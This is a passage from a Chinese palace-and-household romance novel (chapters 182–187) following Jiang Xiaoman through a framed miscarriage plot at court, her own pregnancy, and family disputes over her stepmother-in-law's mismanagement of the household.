那掌管香料的管事宫女小蝶忙上前一步，泣不成声道，“皇后娘娘，事到如今证据确凿您就承认了吧！” 此话一出，谢婉之惊诧道，“小蝶，你胡说八道什么？陛下，即便是臣妾熏错了香那也是无心之失，臣妾又怎知贵妃今日会来？” 皇帝瞧着跪在地上的谢婉之，叹了口气道，“此事有疑，皇后禁足，待朕细细查明再议。” 谢婉之暂且松了口气，他在护着自己。 然内间里刚刚失去孩儿的高贵妃听闻此言，却是不顾体虚翻身下床，朝着皇帝的方向道，“陛下，你要为我们的孩子报仇啊！” 皇帝赶忙将高贵妃环抱重新放入床上，高贵妃好似要拼劲全力般声嘶力竭指着谢婉之道，“就是她！她嫉妒臣妾有孕，忧心臣妾的孩子一出世便抢了她儿子的风头，陛下，你要为臣妾做主啊——” 高贵妃脸色惨白，哀伤不能自已，皇帝看罢亦是心生不忍。 谢婉之闻言盈盈拜下道，“臣妾从无害人之心，求陛下明查！臣妾禁足之前有一事相求，请陛下赏臣妾恩典！” 皇帝：“何事？” 谢婉之：“求陛下恢复我母家庆安侯府的爵位！” 庆安侯府之前不过是陷入党争被人暗害，恢复爵位之事皇帝早已提过，只是皇帝不知谢婉之为何在这个时候提起这件风马牛不相及的事。 “陛下，臣妾恳求陛下敕封安儿为庆安侯，让安儿替臣妾尽孝，替他故去的外祖守住家业！”谢婉之此话一出，殿内瞬间安静下来。 大皇子钱谢安是皇帝名义上是嫡长子，若是封了庆安侯那便是出嗣再与储位无缘，众人皆瞠目结舌地看着皇后，难不成皇后从未起过让大皇子夺嫡的念头？ “婉儿，你，你这又是何必？这件事朕会查明？难不成你不信朕吗？”皇帝不忍。 “陛下，臣妾只盼着安儿能富贵平安一世，从未有为了安儿而残害皇嗣之意，望陛下 体察臣妾的一番心意！”谢婉之本想斟酌几日再同皇帝谈及此事，没想到当日便遇到了算计，既如此，那就择日不如撞日。 “好！”皇帝走过将谢婉之扶了起来。 大皇子谢安之事已然成了帝后之间的心病，皇帝自不会将谢安立为储君，但又不知该当如何！今日皇后提议让谢安出嗣谢家的确是个不错的主意。 在谢婉之的再三坚持下，皇帝应允将庆安侯府平反，并升庆安侯府为庆国公府，敕封谢安为庆国公。 从此，钱谢安又变成了谢安，成为了大顺最年幼的国公爷。 躺在罗汉床上的高贵妃没料到皇后居然会舍得放她儿子出宫，一时间竟也不知该当如何了。 但贵妃小产毕竟事关重大，皇帝依旧下令皇后暂且禁足。 姜小满本来是来坤宁宫陪皇后用午膳的，谁知竟碰上了这么一出戏。 高贵妃小产，皇后禁足，作为进宫探望的姜小满很不幸地亦被困在了坤宁宫中。 待众人散去，坤宁宫宫门关闭，谢婉之笑笑道，“小满，真是对不住！本来想和你好好用个午膳的，谁知竟害得你出不了宫。” “娘娘哪里的话，若非如此，我还没有机会在这坤宁殿住上一住呢！”姜小满倒是心大。 被禁足的不止皇后谢婉之，还有坤宁宫内的所有人，当然除了小蝶。 小蝶当时便被带走了，香料是小蝶所放，自然要对小蝶严加审讯。 见二人亲亲热热地说话，榴月忐忑半晌终是扑通一声跪了下来道，“求娘娘恕罪，小蝶那死丫头竟然生了主意要害娘娘，那丫头固然该死，可是——” 可是小蝶毕竟是榴月的亲妹妹，是她唯一的亲人。 谢婉之：“榴月，你放心！待真相大白，小蝶我虽不能再留但定会保她一条命，放她出去——” 虽说小蝶鬼迷了心窍但她毕竟是榴月的妹妹，榴月从小就跟着自己，谢婉之预备等过些时日就求皇帝放小蝶出宫许其自谋生路。 然她们并未等到过些时日，当天夜里小蝶便在内狱中离奇死亡了！小蝶到死还在期待着高贵妃兑现她的承诺：只要你肯替我做事，我便求着陛下将你赏予你那心上人做个贵妾！ 小蝶闭眼的那一刻还在沉浸在将要做明澈妾室的喜悦里，她不明白这么一点子小事皇后为何就不能允了她？还是高贵妃仁善！ 当然这已是后话，此刻的榴月还在声泪俱下地感慨是自己没有教导好妹妹。 翌日，同小蝶突然暴毙内狱消息同时来的还有最新的秘闻：【高贵妃为争生下皇帝登基以来的第一子，不顾体寒瘀滞强行服用五子玉麟丸有孕，然不幸伤了身体保胎不成利用小蝶陷害皇后。】 原来如此？ “给皇后娘娘请安，娘娘万福金安！”姜小满一早便去正殿请安。 “小满，快过来一起用膳！”谢婉之示意小满坐下。 谢婉之已是当朝皇后，姜小满犹豫了一番还是决定站着伺候。 怎料谢婉之却是一把将小满拉了过来道，“反正现在是禁足，讲那么多规矩做什么？莫要生分了！” 姜小满只得坐下道，“娘娘瞧着气色不错！” 都被禁足了还吃得这么开心。 “是啊，一想到安儿有了去处，成了谢家的小公爷我就想多用两碗饭！”谢婉之莞尔一笑道，“小满你真是我的福星，若是陛下能多禁足几日，你也能多陪我几日了——” 姜小满笑笑，有必要聊一下正事儿了，“娘娘，您当真觉得那香料中一丁点儿的番栀子花 蕊便能让高贵妃滑胎吗？” “我自是不信，但高贵妃怎能忍心拿自己的亲生骨肉来陷害我？”这是谢婉之想不通的问题症结。 “只有一种可能，高贵妃那胎本就留不住，所以才特意到坤宁宫小坐的！”姜小满提醒道。 第183章 有孕 “本就留不住？”谢婉之反复琢磨着这句话。 “娘娘，你可听过一种名为五子玉麟丸的助孕药物？”姜小满将晨起看到的药丸名称略显僵硬地说了出来。 谢婉之：“你是说高贵妃是用了这种药物？” 姜小满：“犹未可知！我只是忽得想起之前看的话本中提到过这种助孕的药物，所以胡乱猜测罢了——” 谢婉之知晓小满的性子，在这个时候她绝不是那种没有分寸胡乱猜测的人，想来是有什么难言之隐不能明言，于是会意道，“五子玉麟丸？我记下了——” 二人有一搭没一搭地聊着，忽得皇帝过来了。 “明夫人也在？”昨日只顾着高贵妃之事，皇帝直到现在才发现姜小满入宫了。 姜小满行礼后，谢婉之便似有不快道，“小满好不容易进宫一次道让你关起来了？明儿我若见了明探花还不知怎得和人家交代呢！” “婉儿，莫要生气！我怎能不知你？但昨日那情形只能暂且将你禁足——”皇帝温言道。 姜小满望着眼前的帝后，好似还是那个明媚泼辣的谢婉之和爬墙头会佳人的羽王！没想到，帝后私下里竟然还是同从前一般！ 让姜小满更没想到的是皇帝竟然从未怀疑过谢婉之，所谓禁足不过演给旁人看罢了！ 皇帝：“婉儿，昨夜可睡得好？” “不好！陛下昨夜可是在哪个妹妹宫里？”谢婉之醋味颇浓。 羽王登基后大封功臣之家的女眷，谢婉之虽然早已接受，但时不时总爱发作那么一下。 “昨日高贵妃出事，我自然是筹谋着怎样尽快调查清楚，哪顾得了别的！”皇帝说着便搂上了谢婉之的肩头。 姜小满见此，便知趣地退出门外。 “陛下，臣妾曾听过一种名为五子玉麟丸的药物——”谢婉之附耳道。 “朕自有决断——” 当晚，高贵妃宫中便有请脉的太医无比悲痛地告知她，“从娘娘的脉象来看，日后怕是不能再——再有身孕了！” 高贵妃虚弱地爬起，连摔了几个茶盏又复请了几个太医，诊断结果皆是如此。 几个太医的话术一致，“娘娘本有机会诞下龙嗣，但从脉象来看因是服了什么助孕的药物亏了身体——” 高贵妃连夜差人将已经进了被窝的江太医提溜出来道，“什么五子玉麟丸？竟敢伤了本宫的身体！” 江太医辩解：“娘娘明鉴！此药本就凶险，但最多是无法保住这胎而已，断断不会伤及娘娘的根本，下官即便有十个脑袋也不敢——” 江太医一边说着一边战战兢兢替高贵妃诊脉，只是甫一探到脉象便住了嘴！ 高贵妃的身体的确是伤及了根本，无法再有身孕，但绝不是源自自己的那个药丸，而是高贵妃吃了些不该吃的药物！ 至于是谁下的毒手，从众太医的异口同声中，江太医后知后觉地发现：只有陛下。是当家皇帝不愿高贵妃有孕，因此借着此事彻底绝了她诞下皇嗣的念头。 面对高贵妃的责难，江太医只得打落牙齿或血吞！本想着剑走偏锋给自己谋个富贵，没曾想却是踩了老虎尾巴。 高贵妃与江太医的谈话很快便由暗卫之口传到了皇帝的耳中。 果然如此！ 贵妃滑胎一事沸沸扬扬了几天，以小蝶惨死与江太医罢官还乡为终结。皇帝决绝地结案，皇后同贵妃均是毫发无损，毕竟贵妃的兄长还是殿前司都指挥使。 坤宁宫。 姜小满正恭敬给皇后磕头拜别，入宫几日终于可以回家了。 “小满，陛下已经正式敕封安儿为庆国公，还允许其弱冠之前养在宫中，多亏了你！”谢婉之将小满扶起，颇为不舍道。 “来人！”随着谢婉之一声令下，宫人鱼贯而入，手中捧着一些金银玉器。 “小满，难得进宫一趟，带些东西回去，也算是我的一番心意。”谢婉之示意这些金银是赏给小满的。 姜小满的脑中忽得闪现了梦太妃与南宫中那些美人的影子，既然皇后要赏，何不趁势求个恩典呢！ “娘娘，小满斗胆求娘娘不如赏我些别的吧？”姜小满斟酌后道。 皇后：“你尽管说！” “娘娘，宫变那日梦太妃和那十几个美人也算是有功！我实在不忍瞧着那如花的美人们在南宫中虚度此生，恳请娘娘准许能放其出宫自谋生路。”姜小满恳求道。 谢婉之犹豫道，“但那些是先帝的嫔妃，事关皇家颜面，按理说应当送往皇家寺院落发的，陛下准许她们在南宫养老已是格外开恩——” 姜小满：“娘娘，这些不是先帝的妃嫔，而是为陛下登基立下汗马功劳的功臣呀，同那些有功之臣是一样的呀！” 谢婉之了然道，“我明白了，你且回家等消息吧。” 这种事谢婉之做不了主，还得同皇帝商量才行。 姜小满已经尽力了，哪怕最后不成她亦没有别的办法。 但是姜小满所求之事上边答复的模棱两可，那么这些金银玉器还给不给？姜小满余光瞅了眼那些东西，颇为肉疼地躬身往殿外退去，边走边心道，“可惜了，这么些好东西，拿不回家了！” 待姜小满即将退出殿门时，谢婉之也不想继续逗她了，“行了，回来把东西带上！” “好嘞！”姜小满回眸，微微一笑道，“娘娘待我是极好的——” 离家几日的小满终于满载而归地回家了。 三日后的秘闻，姜小满终于看到了她想看到的内容：【皇帝释放梦太妃等十六位先帝嫔妃，允其出宫自谋生路，但日后不许再入京城。】 不许再入京城，想来皇帝自有他的考量。 姜小满替梦娘开心之余又有些遗憾，原来上一次见面可能就是永别了！不管怎样，那十六位如花的美人不必蹉跎此生了。 姜小满不知道的是这十六位美人大多回到原籍，凭借着自身样貌与出宫时分得的钱财过上了或夫妻恩爱、或游历山水、或富甲一方的日子。 月余后的一天，姜小满揉着惺忪的睡眼查看那每日刷新的秘闻系统：【恭喜宿主完成凑够十对良缘的任务，作为回馈，宿主腹中已赐麟儿。】 第184章 异父异母的亲兄弟 怀孕了？ 姜小满嘴角翘起，忙立于铜镜前去观看自己的身形。 肚子扁扁，一切如常，什么都看不出来啊？但是系统是不会骗人的，姜小满瞅瞅自己尚且平坦的肚子嘴角的笑意收都收不住。 但是她凑够十对良缘了吗？叶巧儿与庆儿、华芊予与宋长序、明大丫与顾亭声—— 姜小满一对对数过去，不够啊？ 这个疑惑直到一旬后收到梦娘的来信，姜小满方才恍然大悟！原来是梦娘与其中好几位美人均觅得了良缘，想来这便是小满结的善缘吧！ 但现下姜小满只会盯着自己的肚子傻乐。 夜里，明澈照例将小满圈过来道，“娘子，近一些。” 姜小满微微屈身小声嘟囔道，“不能再近了，当心孩子！” “什么孩子？” 小满指了指自己道，“自然是你我的孩儿！” 明澈半晌无语，小满有一瞬的不悦，“这家伙什么态度，不应该是高高兴兴道一句自己要当爹了吗？” “当真？”明澈只吐出了两个字。 “嗯，我今儿找大夫瞧过了，才刚刚有孕而已。”小满为保险起见今日又特意去看了一趟大夫。 明澈终于笑出了声，“我说什么来着，我们定然会有自己的孩子——” 明澈嘟嘟囔囔地从已然接受小满无法生育到现在终于要当爹，一直絮絮叨叨个没完。 说着还嫌不痛快，随即便穿了靴子在室内一圈一圈地走起来。 “娘子，你觉得沁、颜、知哪一个字比较好——”姜小满已然很困了，明澈却精神抖擞地研究上了孩子的名字。 门外值夜的丫鬟不知老爷今儿是抽了什么疯，叽叽呱呱个没完—— ...... 有孕的姜小满觉得一身轻松，从未出现如皇后当年有孕那般的不适，于是便思虑着趁肚子大起来之前先将府中的庶务安顿好。 “钱星星，你向来妥帖，库房的对牌钥匙便交给你了。” “茉莉，你负责将我身边的事务料理清楚；茉心，你要将蘅泽苑的丫鬟仆妇安排妥当——” “李初一，今后我的一饮一食需得你亲自盯着——” 下首的几人你瞧瞧我，我瞧瞧你，不知小满今日是怎么了，搞得和要出远门似的。 “夫人，府里可是出什么事儿？”钱星星问出了大家的心声。 姜小满：“没有啊，只不过你们需各司其职再上心一些，这样我才能好好养胎呀！” 此话一出，下首几人无不露出喜色，原来她们夫人能生啊！ 姜小满有孕之事也算是正式官宣了，与之而来的便是掌家的问题。 “小满啊，你既然有了身孕那便把心放到肚子里好生歇着，掌家之事就暂且交给你母亲了！”得知小满有孕的明二嘱咐道。 蔡氏：“是啊，你有了身孕自然不能劳神，掌家之事断然不能让三房和四房的人来，澈儿又没个妾室，不如就让母亲代劳了吧！” “是啊，你母亲之前也是理过家的。”明二帮腔道。 姜小满：“那就有劳母亲了！” 蔡氏愣住，她没想到姜小满竟然如此痛快地便交出了掌家权，这和她想象的很不一样。 “好，好！母亲定然不负所托！”身为长辈的蔡氏一激动便有些语无伦次，好像小满才是她的婆母一般。 待明二与蔡氏欢天喜地离开后，茉心不解道，“夫人，何苦要将掌家权给了那位，那位的心里只有她的亲生儿子！” “是啊，夫人不怕她将明府都搬去——她那亲儿——的库房？”茉莉也一脸忧心。 “无妨！左右库房钥匙是在钱星星手里的。”姜小满淡淡道。 这段时日以来，姜小满已经将明府打理地井井有条，她坚信哪怕自己走个一年半载的府中各房也能顺利运转。 那蔡氏想掌家便掌呗，一个打工人而已，姜小满正好落得清闲。 次日，蔡氏便正式走马上任了。 刚开始几日，蔡氏都是早早起床等着下人们回事儿并领取对牌钥匙，不到几日便从辰时开始议事改到了巳时，这几日眼看着日上三竿了，蔡氏依旧在床榻之间挣扎。 真累啊！从未理过家的蔡氏每日面对众多丫鬟仆妇的十万个怎么办，真真是一个脑袋两个大！ 忙得脚不沾地就算了，关键是并没有捞到什么油水，府里各房的开支好似都是按部就班地运作，她更像是一个如陀螺般不停旋转的摆设。 只过了一旬，蔡氏便有些受不住了，娇声同明二道，“夫君快帮我捏捏，真真是累死人了！平日里瞧着小满这里逛逛那里逛逛不是挺轻松的吗？怎得轮到我便这样难——” 蔡氏当然想不通！且不说小满一直在帮谢婉之管理私产，什么管账理家早已驾轻就熟，更遑论小满上辈子可是985毕业的大学生，曾经选修过会计专业，看起账本来定然甩还在学着拨算盘的蔡氏好几条街。 姜小满一日便能完成的事儿，那蔡氏少说也得来上三日！ 但蔡氏有一颗不放弃的心，在还未替他儿子捞到好处之前怎能放弃呢！ 自蔡氏做了掌家人后，她的儿子蔡祖德也活跃了起来。 这日，蔡祖德应邀吃酒，有同伴奉承道，“蔡爷与那内阁明大人也算是异父异母的亲兄弟了，那明大人定然十分看重蔡爷吧？” “那是自然，明家现下是我母亲掌家，什么明大人暗大人的，但凡发了俸禄那不得乖乖交到我母亲手上吗？”蔡祖德想象中母亲的确过着这样的日子。 “蔡爷好福气啊，真真是子以母贵！这眼看着天冷了，不知明府今年的冬衣冬被是否置办了，若是没有的话可否考虑一下小弟呢？”那尖嘴猴腮的男子殷勤地将酒水倒入蔡祖德的杯中道。 “小事一桩！瞧瞧你那样儿，冬衣冬被这点子小买卖也瞧得上眼！”蔡祖德很是看不上对方的样子。 “是是是！哪能人人都像蔡爷一般有福气呢！” 转天儿，蔡祖德到了她母亲身边。 “娘，我都答应好了，全是兄弟，冬衣冬被就打我兄弟那里买！” “不然我的面子往哪里搁！价格只不过比市面上略贵了两层，左右我那兄弟答案分我三层的利，难不成娘为了这明府连亲儿的日子也不顾了？” 第185章 到底能不能？ 蔡氏掌家原本就是要替儿子谋些好处的，这冬衣冬被的小事她当下便做了主。 对于蔡氏是否会暗中谋利姜小满心知肚明，只是既然蔡氏提出要掌家她做儿媳的没法当场拒了，只能静待蔡氏出些篓子才好。 蔡氏掌家之事，姜小满心中是有计较的，只要她别太过分，那就当她是替明府打工了。 最重要的是姜小满着实找不出更适合的掌家人，此刻的姜小满颇有些羡慕当年承恩侯府掌家的谢婉之。谢婉之身边有榴月，还有她姜小满这个能写会算的小陪房！ “夫人，那老夫人自掌家后可谓是风光得很，听松居里见天儿地有客，奴婢听闻都是她旧时的老姐妹们，也不知显摆些什么！”茉心一脸不满地将自己打听来的消息一股儿地倒给小满。 对姜小满来说茉心如今便是她了解明府的第一窗口。 那蔡氏出身不错，然中年丧夫困顿之时，身边的旧友渐渐便远了。如今听闻这蔡氏发了大运二嫁居然进了明府还做了当家主母，旧时的那些老姐妹便又重新热络起来。 蔡氏每日掌家理事，隔三差五地邀着老姐妹入府瞧她如今的风光，可谓是人生得意须尽欢啊！ “还有我们大老爷，真真是——”茉心想说明二窝囊，但又及时住了口，那毕竟是她家主子的公爹。 茉心顿了顿继续道，“听闻大老爷和个——和个跑腿儿的小厮一般，杵在听松院里听凭老婆差遣，真真是一点男儿气概没有啊——” 那蔡氏在与老姊妹闲来饮茶之时，偶尔使唤几下忠犬老公，使得老姊妹们各个迸发出羡慕之色，每当如此蔡氏便感觉好极了。 “还有老夫人那儿子，定是来打秋风的，我瞧着咱们大老爷对那姓蔡的儿子比对我们老爷还要强上些——” 姜小满瞧着滔滔不绝的茉心，又看了一眼立在一旁无声无息的茉莉，心道，“这茉心伶俐但毕竟年纪小，很多时候沉不下心。这茉莉倒是忠贞又有主意，而且在卖玄米茶的过程中已然历练地能写会算，只是——” “只是茉莉患有耳疾，与人沟通是个问题！若是茉莉身体康健的话选她来做自己的陪房倒是不错——” 姜小满迫切需要一个能立得起来的小陪房，替自己做事儿最重要的是忠心。姜小满扫了一圈，只茉莉和钱星星相对合适。 但奈何钱星星为人过于耿直，守库房固然是一把好手，但与人相处怕是少了些变通。 只有茉莉最适合，但又偏偏换了耳疾—— 思及此处，姜小满无不有些脑胀的揉了揉太阳穴，若是茉莉没有耳疾便好了。 有病就得治啊！如今你已经是二品诰命夫人，上有前主子皇后，身边还有公主妯娌，还怕寻不到好的大夫吗？ 姜小满揉着太阳穴忽得就有了这样一个念头！对，给茉莉治病。 当晚，姜小满就将给茉莉寻太医的任务下达给了明澈，明澈点了点头表示明儿一早便去太医院打听。 次日一早，姜小满甫一起床便感觉头晕不适，恶心呕吐，身旁的明澈吓了一大跳，于是当日家中便来了两位太医，一位擅妇人孕产，一位擅耳疾。 “夫人不过是妇人有孕的正常反应，此症状约持续一至两月，我先为夫人开一些安胎的药物，看是否能够缓解——” 那太医末了还对着明澈道，“大人在此期间切勿同房，切记、切记！” 瞧着太医遵遵告诫的神情，姜小满尽量将头低垂，不让自己看到室内众人的神色，而明澈却是直勾勾看着那太医如谈判般道，“是一至两月不能，还是三月？到底是几月？” 姜小满颇为震撼明澈之脸皮，然面对太医最好是都不能的劝告后，明澈又刨根问底道，“最好那便是可以商量，不是完成不可以是吗？” 太医失了耐心，白了明澈一眼道，“大人去妾室房中不可以吗？” 那太医的神色中有一丝的不可置信，想她家夫人有孕时那正是纳妾的好时机，这明大人怎得如此死脑筋还非耗上个有身子的？ 明澈已然撞到南墙，于是便转了话头问另一太医茉莉能不能治好。 “能是能，只是这耳疾已是多年顽疾，若要彻底治愈需得使用名贵的药材，光那日日都需要的人参少说也得二十年的才有效用呀？”那太医寻问着，好似在说不是明府花不起银子，而是为这么个丫鬟值得吗？ 茉莉眼中含着水雾，似在等待审判一般望了眼小满。如此贵重的药材，即便自己搭上所有的银钱也是不够的，但她多么渴求能做个能听能言的正常人啊？这许是她此生唯一的治愈机会！ “太医尽管开药方，药材之事我自会想办法。”姜小满说出这句话时也颇为肉疼。 她斟酌一瞬便瞧见茉莉眼眸中隐忍蓄着的水雾，倘若这一刻她不替茉莉做主，日后天天听着茉莉磕磕巴巴的声音想来是会忧心一辈子。 况且自己从前靠着茉莉售卖玄米茶也赚了不少，那时的银钱可是保住了她当时的安稳，现下她给茉莉花些银子便花些吧。 太医：“那我就写方子了——” 听闻此句，茉莉的眼泪瞬间滑落。 这一刻起，茉莉发誓此生必对小满忠贞不二。 “多谢夫人！奴婢与姐姐叩谢夫人大恩！”同茉莉一起叩头谢恩的还有茉心，她姐姐的恩人便是她的恩人。 话说两头，有了太医的妙手和姜小满白花花流出去的银子，只月余时间茉莉的耳疾便基本痊愈了。 与此同时，不少下人的身体出现瘙痒起红疹的怪病。 某日，一花房的婆子侍弄花草之时不小心挂破了衣裳，那黑色的棉絮棉团便露了出来。 周围人大惊纷纷剪开自己的冬衣甚至被褥，毫无例外全部是参差不齐的黑心棉。 当此事传到姜小满耳中时，姜小满正吐得七荤八素。 堪堪用过安胎药，趁着身体好一些的姜小满便带着茉莉、茉心冲进了听松居。 姜小满：“母亲，这冬衣冬被的事情母亲可知道了？” 第186章 世间男子皆是如此 蔡氏也没想到高价从他儿子朋友那里买来的冬衣冬被竟然是这等货，但是那人早已人去楼空，她也只能自认倒霉，难不成还让儿子陪啊？ “是母亲的疏忽，再重新买来就是了，这老虎还有个打盹儿的时候呢，是吧？”蔡氏望向旁边的明二，示意他帮自己说几句话。 明二虽说将蔡氏宝贝的和个眼珠子似的，但黑心棉事件的确戳住了他的心。 很多年前承恩侯府的管事便因贪墨给他们这些下人采买了黑心棉被，那一年侯府下人因使用了不干净的黑心棉不少人染了疫症。 尤其是孩子，很多下人的孩子在那一场疫症中没能挺过来，那一个个被抬出侯府的可怜孩子让明二掉了不少眼泪。 因此，明二第一次在蔡氏面前流露出不满道，“下人们的命也是命，这次是夫人的错！” 蔡氏难以置信地扭头，这明二今儿竟敢这样对自己？ “好你个明二，你竟然帮着别人教训我？我家祖上也是富贵过的，我图你什么？不就图你对我好吗？我若二嫁，什么样的人找不到，偏偏嫁给你——” 姜小满懒得再听这老两口嚼舌，只是给出了她的解决方案，“这段时日母亲也累了，接下来母亲便不必操心家里的事儿！” 什么？就这么一点小小的错误就要免了她的掌家之权，这让她以后如何给儿子谋利，又如何面对刚刚高看自己一眼的那些老姊妹们。 蔡氏：“姜小满，你也太张狂了些，只不过这一丁点儿的小事便来训斥婆母！你们明家便是这样的规矩吗？” 但即便蔡氏有再多的不满也没有办法，本来就是姜小满当家，即便蔡氏临时掌家，这阖府的丫鬟小厮婆子谁人不知姜小满才是真正的当家主母。 在姜小满的示意下蔡氏理家这段时日的账本、钥匙之类都被茉莉、茉心痛快地收了回来，而蔡氏只有跳脚的份儿。 而明二今日亦是难得的站在姜小满这边，并未给那蔡氏好脸色。 只是这世间最说不清楚的便是情爱二字，明二虽说白日雄起了一把，但晚上就歇菜了。 夜里听松居的床榻之上，那蔡氏就像一块木头一般，充分展现着非暴力不合作的原则，明二看着蔡氏的背影频频叹气—— 数日后，明二终究是撑不住了。 “小满啊，还是让你母亲掌家吧！”明二来找姜小满当说客了。 “爹，您坐。”姜小满吩咐人上茶，随后道，“我如今虽然有了身孕，但身边有茉莉这个好臂膀，掌家之事实则不必假手于人的！” “那茉莉不过一个小丫头，能掌得了什么家，免不得还要扰你清净——”明二本着以姜小满安胎为第一要务的原则，前后左右的分析了利弊，最终答案就是蔡氏掌家最是妥帖。 姜小满瞧着事事都在为蔡氏考虑的公爹又一次为明妈妈而不值，眼前这老实人何曾为与他同甘共苦多年的发妻如此争辩过一二。 “小满啊，我既然将她娶了回来便要好生待她，她本可以有更好的选择，但她选了我！我是谁，不过一介车夫而已，她可是在富贵人家养大的金尊玉贵的小姐——” 明二不断阐述着应当让蔡氏掌家的理由，临了还不忘拿小满做对比道，“同为女子你应当理解你母亲的，再说了澈儿对你那不也挺好的吗？对娘子好的人才算是男子汉大丈夫，对吧？” 这明二倒是自洽，干着窝囊废的事儿还要给自己戴上一顶男子汉大丈夫的帽子，临了还要扯一扯明澈。 “爹，我与明澈那可是结发夫妻，倘若您口中的娘子是我那没有福气的婆母，儿媳倒是能理解几分！”姜小满兴味道。 听到姜小满提到了明妈妈，明二的脸上有些挂不住，但是他亦没有法子呀！ 明二生性善良，在明妈妈故去后也无数次怀念过妻子，但每每想起便总能捎带着想到明妈妈那直接了当的性子和粗粗的嗓门。 明二是感念发妻陪自己同甘共苦的恩情的，但他也没法子呀！只要听到看到那娇滴滴的蔡氏便想对她好，听她话，倘若她不理自己，那心里就像有钩子勾似的坐立不安。 明妈妈已然走了，他明二劳苦一生享享这娇妻的福也不是不行。 “小满，人总要往前看得嘛，你婆母也是希望我好的，对吧？”明二又一次自洽了。 姜小满瞧着他这公爹的神色，活脱脱的是中了美人计。 “爹，我乏了，掌家之事稍后再议，爹可容我先小憩片刻？”姜小满不想再听公爹在这儿夸继婆婆了。 那明二也反应过来，自己私下来找儿媳已是不太妥当，眼下儿媳还有着身孕，是该离开了。 姜小满瞧着明二离开时那蔫蔫儿的背影，估计她公爹今晚又得被踹下床了。 但是拒绝得了一时，拒绝不了一世，姜小满深知明二这次是好言相商，若是抵不过那蔡氏的枕边风，哪天搬出公爹的谱儿来，再给她扣一顶不孝的帽子，到时候她还得迫不得已让蔡氏掌家。 该如何是好呢？姜小满正一筹莫展之际，孙元娘来看望自己了。 “小满，将来你肚子里的娃儿叫我什么？”孙元娘指了指小满的肚子开心道。 “公主，将来孩子自然叫您婶母了！”茉心提醒道。 “对对对！我给小满的孩子当婶母，真好！”孙元娘感慨着同小满嫁人同一家的妙处。 “你呢？可有消息了？”姜小满瞅了眼孙元娘的肚子道。 “没有！我才不要生小娃娃！”孙元娘撇撇嘴道，“小满，你说女子若是有了身孕，男子是不是就要找妾室，男子若是见多了那些千娇百媚的美人儿是不是就不喜欢娘子了？” 姜小满：“你且把心放进肚子了，想来你那明三头没有三颗头，即便你有了身孕他也不敢乱来的！” 孙元娘脸颊染了绯色，不好意思道，“哎呀，我不是说我自己，这世间的男子不都是如此吗？” 世间的男子都是如此吗？姜小满略有所思，其他男子什么样她不知道，但她公爹明二就是如此！ 第187章 明三头有两下子 “小满，不瞒你说，三头的确是对我好！但我时常在想，三头当时对我动情不过是因着家贫缺媳妇儿，若是他见多了身边的莺莺燕燕，还能对我一见倾心吗？我当年不过是个洒扫的丫头——” 许是从小就没有被善待过，如今已身为公主的孙元娘言笑间依旧隐着一丝淡淡的不配得感。 “非也非也！你与三头那是天造地设的一对儿，是月老牵好的——”姜小满一边哄着孙元娘高兴一边又想到了他的公爹明二。 明二为何如此痴迷蔡氏，难不成真如孙元娘所言是见得少？ “元娘！”姜小满招手唤孙元娘过来，低语道，“我想求三头一件事儿——” ...... 明三头是个办事效率极高的人儿，扭脸儿便到了他二伯父面前道，“伯父，你在我心里比亲爹还亲，我实在不忍伯父受苦啊！” 明二一脸不悦道，“我受什么苦了？” “伯父，我听闻你昨夜又让伯母踹下床了？”明三头一脸关切道。 被自己的侄儿如此调笑，明二涨红着老脸道，“没有的事！” 明二不知他房里的这点子事儿怎得连明三头也知道了？ “没有就算了，我不过是好心想助伯父一臂之力的！在对老婆这方面，你侄儿我可是有绝招，不然那公主怎得能让我拿捏得服服帖帖！”明三头说着便作势要抬腿离开。 明二近来日子过得苦，对于明三头所谓的“绝招”求知若渴！堂堂的公主的确是对明三头百依百顺，看来那小子果然有两下子。 明二：“那个三头啊，说说也无妨——” “我亲亲的伯父呦，那伯母为何不待见你，还不是因为你太没有男儿气概了——” 明三头还未说完，明二便不满地嚷嚷，“你胡说八道什么？谁，谁没有男儿气概！” “听不听，不听我走了——” 明二：“说说说！” 明三头：“这天子女子皆是慕强，伯父不要以为你对伯母百依百顺她便心悦于你，你得要自己先立起来，最好脾气大一点，再纳上那么一两个妾室，这伯母自然就被你折服了！” “你小子——”明二气呼呼便要离开，这什么馊主意啊！ 第二日下午，蔡氏的三个老姊妹又来了听松居。 蔡氏本不欲搭理明二，然如今被下了掌家权，若是不再使唤相公摆摆威风，她们又如何能夸赞自己命好？ 为了让老婆高兴，堂堂二品大学士的父亲竟然亲自下厨房做了小点以供蔡氏及她的手帕交们享用。 “不让他做这些，他非要，真真是没有办法，你们且尝尝吧——”蔡氏拿了一块糕饼示意几人品尝。 “你可真是好福气，你我同样命运不济，然你有夫君宠着，而我还得为糊口而忧心——”一汪姓妇人一脸羡慕道。 这位汪姓妇人同蔡氏一样，都是中年孀居，然蔡氏发了大运嫁人明府，这汪姓妇人却还是吃了上顿没下顿！论出身、论样貌，汪氏自诩样样都不必蔡氏差，怎得她就那样命好！ 因此汪氏隔三差五来明府，为的当然不是说几句恭维的话给自己添堵，而是要找一个可以长久吃饭的地方。 明二便是她的目标！ 她不求能像蔡氏一样让明二明媒正娶，只求能入府为妾有口饭吃，否则的话她这日子快要熬不下去了！ 汪氏只有两个女儿，女儿们都已出嫁且在夫君那并不受宠，因此汪氏忧心倘若家里的银钱用光、祖产变卖后无人供养，孤独终老，她得找个养老的地方。 因此，今日明二将糕饼递过来时，汪氏便不着痕迹地如不小心般悄然触碰了明二的手。 明二好似感知到了这汪氏的心意便也顺势悄悄儿地握了一把。 在明二的心里这汪氏就是再娴雅俏丽那也跟大白菜是一样的，他的心里眼里只有老婆蔡氏。 但一夜未眠的明二思索一晚，对着蔡氏着实想不出更高明的法子，反复斟酌后觉得明三头那臭小子说得有道理。所以，他今日决定试试，就从这汪氏开始试。 旬余后，冷了多日脸的蔡氏发觉明二好似没有再理她了？ 直到那日，与姐妹小聚的蔡氏出门如厕时悄然发现了明二同她的好友汪氏啃在了一起。 “你这个不要脸的老货，枉我待你一片真心，你竟然与我丈夫——”蔡氏气得几近昏厥，伸手便要挠那汪氏的脸。 那汪氏一动不动流着眼泪任其打骂，除了一个劲儿地往明二怀里钻，其他什么都不做。 “蔡氏，你若是再如此无德，我便以善妒休弃于你！”明二情急之下竟然护着怀里的汪氏，还对着蔡氏口出休弃之言。 蔡氏当场便怂了，他是真的可以休弃自己！前些日子还在自己眼跟前讨好卖乖的明二怎得突然间就能与那汪氏在一起了？ 对此，蔡氏总结为是自己近来磋磨明二太狠了！明明那汪氏样样都不及自己。 